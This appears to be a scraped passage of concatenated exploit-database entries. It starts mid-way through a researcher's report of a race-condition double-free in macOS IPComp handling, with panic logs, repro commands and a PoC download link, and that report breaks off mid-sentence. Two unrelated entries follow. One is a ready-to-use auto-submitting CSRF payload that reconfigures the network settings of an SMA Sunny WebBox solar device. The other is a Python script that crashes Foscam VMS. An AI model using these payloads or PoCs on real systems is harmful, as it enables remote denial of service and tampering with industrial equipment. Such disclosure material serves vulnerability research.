0 243038 deflateInit2_:return rval=0xfffffffc
0 243073 inflateInit2_:entry inflate init (thread=ffffff802db84a40)
0 224285 kalloc_canblock:entry kalloc_canblock(size=0x2550, canblock=0, site=ffffff8018e787e8)
0 224286 kalloc_canblock:return kalloc_canblock()=0x0
0 243074 inflateInit2_:return rval=0xfffffffc
```
(On iOS, the kalloc() limit seems to be higher, so if IPComp was built there,
the input path might actually work?)
=== main bug description ===
IPComp uses a single global `static z_stream inflate_stream` for decompressing
all incoming packets. This global is used without any locking. While processing
of packets from a single interface seems to be single-threaded, packets arriving
on multiple ethernet interfaces at the same time (or on an ethernet interface
and a non-ethernet interface) can be processed in parallel (see
dlil_create_input_thread() and its caller for the precise threading rules).
Since zlib isn't designed for concurrent use of a z_stream, this leads to memory
corruption.
If IPComp actually worked, I believe that this bug would lead to
things like out-of-bounds reads, out-of-bounds writes and use-after-frees.
However, since IPComp never actually manages to set up the compression and
decompression state, the bug instead manifests in the code that, for every
incoming IPComp packet, attempts to set up the deflate buffers and tears down
the successfully allocated buffers because some of the allocations failed:
```
int ZEXPORT
deflateInit2_(z_streamp strm, int level, int method, int windowBits,
int memLevel, int strategy, const char *version,
int stream_size)
{
[...]
if (memLevel < 1 || memLevel > MAX_MEM_LEVEL || method != Z_DEFLATED ||
windowBits < 8 || windowBits > 15 || level < 0 || level > 9 ||
strategy < 0 || strategy > Z_FIXED) {
return Z_STREAM_ERROR;
}
if (windowBits == 8) windowBits = 9; /* until 256-byte window bug fixed */
s = (deflate_state *) ZALLOC(strm, 1, sizeof(deflate_state));
if (s == Z_NULL) return Z_MEM_ERROR;
strm->state = (struct internal_state FAR *)s;
[...]
s->window = (Bytef *) ZALLOC(strm, s->w_size, 2*sizeof(Byte));
s->prev = (Posf *) ZALLOC(strm, s->w_size, sizeof(Pos));
s->head = (Posf *) ZALLOC(strm, s->hash_size, sizeof(Pos));
s->lit_bufsize = 1 << (memLevel + 6); /* 16K elements by default */
overlay = (ushf *) ZALLOC(strm, s->lit_bufsize, sizeof(ush)+2);
s->pending_buf = (uchf *) overlay;
[...]
if (s->window == Z_NULL || s->prev == Z_NULL || s->head == Z_NULL ||
s->pending_buf == Z_NULL) {
[...]
deflateEnd (strm);
return Z_MEM_ERROR;
}
[...]
}
[...]
int ZEXPORT
deflateEnd(z_streamp strm)
{
[...]
/* Deallocate in reverse order of allocations: */
TRY_FREE(strm, strm->state->pending_buf);
TRY_FREE(strm, strm->state->head);
TRY_FREE(strm, strm->state->prev);
TRY_FREE(strm, strm->state->window);
ZFREE(strm, strm->state);
strm->state = Z_NULL;
return status == BUSY_STATE ? Z_DATA_ERROR : Z_OK;
}
```
When multiple executions of this code race, it is possible for two threads to
free the same buffer, causing a double-free:
```
*** Panic Report ***
panic(cpu 2 caller 0xffffff8012802df5): "zfree: double free of 0xffffff80285d9000 to zone kalloc.8192\n"@/BuildRoot/Library/Caches/com.apple.xbs/Sources/xnu/xnu-4903.261.4/osfmk/kern/zalloc.c:1304
Backtrace (CPU 2), Frame : Return Address
0xffffff912141b420 : 0xffffff80127aea2d mach_kernel : _handle_debugger_trap + 0x47d
0xffffff912141b470 : 0xffffff80128e9e95 mach_kernel : _kdp_i386_trap + 0x155
0xffffff912141b4b0 : 0xffffff80128db70a mach_kernel : _kernel_trap + 0x50a
0xffffff912141b520 : 0xffffff801275bb40 mach_kernel : _return_from_trap + 0xe0
0xffffff912141b540 : 0xffffff80127ae447 mach_kernel : _panic_trap_to_debugger + 0x197
0xffffff912141b660 : 0xffffff80127ae293 mach_kernel : _panic + 0x63
0xffffff912141b6d0 : 0xffffff8012802df5 mach_kernel : _zcram + 0xa15
0xffffff912141b710 : 0xffffff8012804d4a mach_kernel : _zfree + 0x67a
0xffffff912141b7f0 : 0xffffff80127bac58 mach_kernel : _kfree_addr + 0x68
0xffffff912141b850 : 0xffffff8012dfc837 mach_kernel : _deflateEnd + 0x87
0xffffff912141b870 : 0xffffff8012dfc793 mach_kernel : _deflateInit2_ + 0x253
0xffffff912141b8c0 : 0xffffff8012c164a3 mach_kernel : _ipcomp_algorithm_lookup + 0x63
0xffffff912141b8f0 : 0xffffff8012c16fb2 mach_kernel : _ipcomp4_input + 0x112
0xffffff912141b990 : 0xffffff8012b89907 mach_kernel : _ip_proto_dispatch_in_wrapper + 0x1a7
0xffffff912141b9e0 : 0xffffff8012b8bfa6 mach_kernel : _ip_input + 0x18b6
0xffffff912141ba40 : 0xffffff8012b8a5a9 mach_kernel : _ip_input_process_list + 0xc69
0xffffff912141bcb0 : 0xffffff8012aac3ed mach_kernel : _proto_input + 0x9d
0xffffff912141bce0 : 0xffffff8012a76c41 mach_kernel : _ether_attach_inet + 0x471
0xffffff912141bd70 : 0xffffff8012a6b036 mach_kernel : _dlil_rxpoll_set_params + 0x1b36
0xffffff912141bda0 : 0xffffff8012a6aedc mach_kernel : _dlil_rxpoll_set_params + 0x19dc
0xffffff912141bf10 : 0xffffff8012a692e9 mach_kernel : _ifp_if_ioctl + 0x10d9
0xffffff912141bfa0 : 0xffffff801275b0ce mach_kernel : _call_continuation + 0x2e
BSD process name corresponding to current thread: kernel_task
Boot args: -zp -v keepsyms=1
Mac OS version:
18F132
Kernel version:
Darwin Kernel Version 18.6.0: Thu Apr 25 23:16:27 PDT 2019; root:xnu-4903.261.4~2/RELEASE_X86_64
Kernel UUID: 7C8BB636-E593-3CE4-8528-9BD24A688851
Kernel slide: 0x0000000012400000
Kernel text base: 0xffffff8012600000
__HIB text base: 0xffffff8012500000
System model name: Macmini7,1 (Mac-XXXXXXXXXXXXXXXX)
```
=== Repro steps ===
You'll need a Mac (I used a Mac mini) and a Linux workstation.
Stick two USB ethernet adapters into the Mac.
Make sure that your Linux workstation has two free ethernet ports; if it
doesn't, also stick USB ethernet adapters into your workstation.
Take two ethernet cables; for both of them, stick one end into the Linux
workstation and the other end into the Mac.
Set up static IP addresses for both interfaces on the Linux box and the Mac. I'm
using:
- Linux, first connection: 192.168.250.1/24
- Mac, first connection: 192.168.250.2/24
- Linux, second connection: 192.168.251.1/24
- Mac, second connection: 192.168.251.2/24
On the Linux workstation, ping both IP addresses of the Mac, then dump the
relevant ARP table entries:
```
$ ping -c1 192.168.250.2
PING 192.168.250.2 (192.168.250.2) 56(84) bytes of data.
64 bytes from 192.168.250.2: icmp_seq=1 ttl=64 time=0.794 ms
[...]
$ ping -c1 192.168.251.2
PING 192.168.251.2 (192.168.251.2) 56(84) bytes of data.
64 bytes from 192.168.251.2: icmp_seq=1 ttl=64 time=0.762 ms
[...]
$ arp -n | egrep '192\.168\.25[01]'
192.168.250.2 ether aa:aa:aa:aa:aa:aa C eth0
192.168.251.2 ether bb:bb:bb:bb:bb:bb C eth1
$
```
On the Linux workstation, build the attached ipcomp_uaf.c and run it:
```
$ gcc -o ipcomp_recursion ipcomp_recursion.c -Wall
$ sudo bash
# ./ipcomp_uaf
usage: ./ipcomp_uaf <if1> <target_mac1> <src_ip1> <dst_ip1> <if2> <target_mac2> <src_ip2> <dst_ip2>
# ./ipcomp_uaf eth0 aa:aa:aa:aa:aa:aa 192.168.250.1 192.168.250.2 eth1 bb:bb:bb:bb:bb:bb 192.168.251.1 192.168.251.2
```
After something like a second, you should be able to observe that the Mac panics.
I have observed panics via double-free and via null deref triggered by the PoC.
(Stop the PoC afterwards, otherwise it'll panic again as soon as the network
interfaces are up.)
(The PoC also works if you use broadcast addresses as follows: ```
# ./ipcomp_uaf eth0 ff:ff:ff:ff:ff:ff 0.0.0.0 255.255.255.255 eth1 ff:ff:ff:ff:ff:ff 0.0.0.0 255.255.255.255
```)
=== Fixing the bug ===
I believe that by far the best way to fix this issue is to rip out the entire
feature. Unless I'm missing some way for the initialization to succeed, it looks
like nobody can have successfully used this feature in the last few years; and
apparently nobody felt strongly enough about that to get the feature fixed.
At the same time, this thing is remote attack surface in the IP stack, and it
looks like it has already led to a remote DoS bug in the past - the first search
result on bing.com for both "ipcomp macos" and "ipcomp xnu" is
<https://www.exploit-db.com/exploits/5191>.
In case you decide to fix the bug in a different way, please note:
- I believe that this can *NOT* be fixed by removing the PR_PROTOLOCK flag from
the entries in `inetsw` and `inet6sw`. While removal of that flag would cause
the input code to take the domain mutex before invoking the protocol handler,
IPv4 and IPv6 are different domains, and so concurrent processing of
IPv4+IPComp and IPv6+IPComp packets would probably still trigger the bug.
- If you decide to fix the memory allocation of IPComp so that the input path
works again (please don't - you'll never again have such a great way to prove
that nobody is using that code), I think another bug will become reachable:
I don't see anything that prevents unbounded recursion between
ip_proto_dispatch_in() and ipcomp4_input() using an IP packet with a series
of IPComp headers, which would be usable to cause a kernel panic via stack
overflow with a single IP packet.
In case you want to play with that, I wrote a PoC that generates packets with
100 such headers and attached it as ipcomp_recursion.c.
(The other IPv6 handlers for pseudo-protocols like IPPROTO_FRAGMENT seem to
avoid this problem by having the )
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47479.zip
# Exploit Title: SMA Solar Technology AG Sunny WebBox device - 1.6 - Cross-Site Request Forgery
# Date: 2019-10-08
# Exploit Author: Borja Merino and Eduardo Villaverde
# Vendor Homepage: https://www.sma.de
# Version: Firmware Version 1.6 and prior
# Tested on: Sunny WebBox SMA Solar Device (Firmware Version 1.6)
# CVE : CVE-2019-13529
# ICS-Cert Advisory: https://www.us-cert.gov/ics/advisories/icsa-19-281-01
<!-- Change any hidden value -->
<iframe style="display:none" name="csrf-frame"></iframe>
<form method='POST' action='http://X.X.X.X/wb_network_changed.htm' target="csrf-frame" id="csrf-form">
<input type='hidden' name='RadioButtonDhcp' value='off'>
<input type='hidden' name='IpAddr' value='1.1.1.1'>
<input type='hidden' name='SubnetMask' value='255.255.255.0'>
<input type='hidden' name='Gateway' value='1.1.1.1'>
<input type='hidden' name='DnsIpAddr' value='5.5.5.1'>
<input type='hidden' name='Dns2IpAddr' value='5.5.5.2'>
<input type='hidden' name='StaticNatPortHttp' value='80'>
<input type='hidden' name='WebserverPort' value='80'>
<input type='hidden' name='WebservicePort' value='80'>
<input type='hidden' name='RadioButtonModbus' value='off'>
<input type='hidden' name='ModbusPort' value='502'>
<input type='hidden' name='BConfirm' value='Confirmar'>
<input type='submit' value='submit'>
</form>
<script>document.getElementById("csrf-form").submit()</script>
# Exploit Title: Foscam Video Management System 1.1.6.6 - 'UID' Denial of Service (PoC)
# Author: Alessandro Magnosi
# Date: 2019-10-09
# Vendor Homepage: https://www.foscam.com/
# Software Link : https://www.foscam.com/downloads/appsoftware.html?id=5
# Tested Version: 1.1.6.6
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: Windows 7 SP1 x86 en, Windows 10 Pro x64 it
# Steps to Produce the Crash:
# 1.- Run python code : python foscam-vms-uid-dos.py
# 2.- Open FoscamVMS1.1.6.txt and copy its content to clipboard
# 3.- Open FoscamVMS
# 4.- Go to Add Device
# 5.- Choose device type "NVR"
# 6.- Copy the content of the file into UID
# 7.- Click on Login Check
# 8.- Crashed
#!/usr/bin/python
buffer = "A" * 5000
f = open ("FoscamVMS1.1.6.txt", "w")
f.write(buffer)
f.close()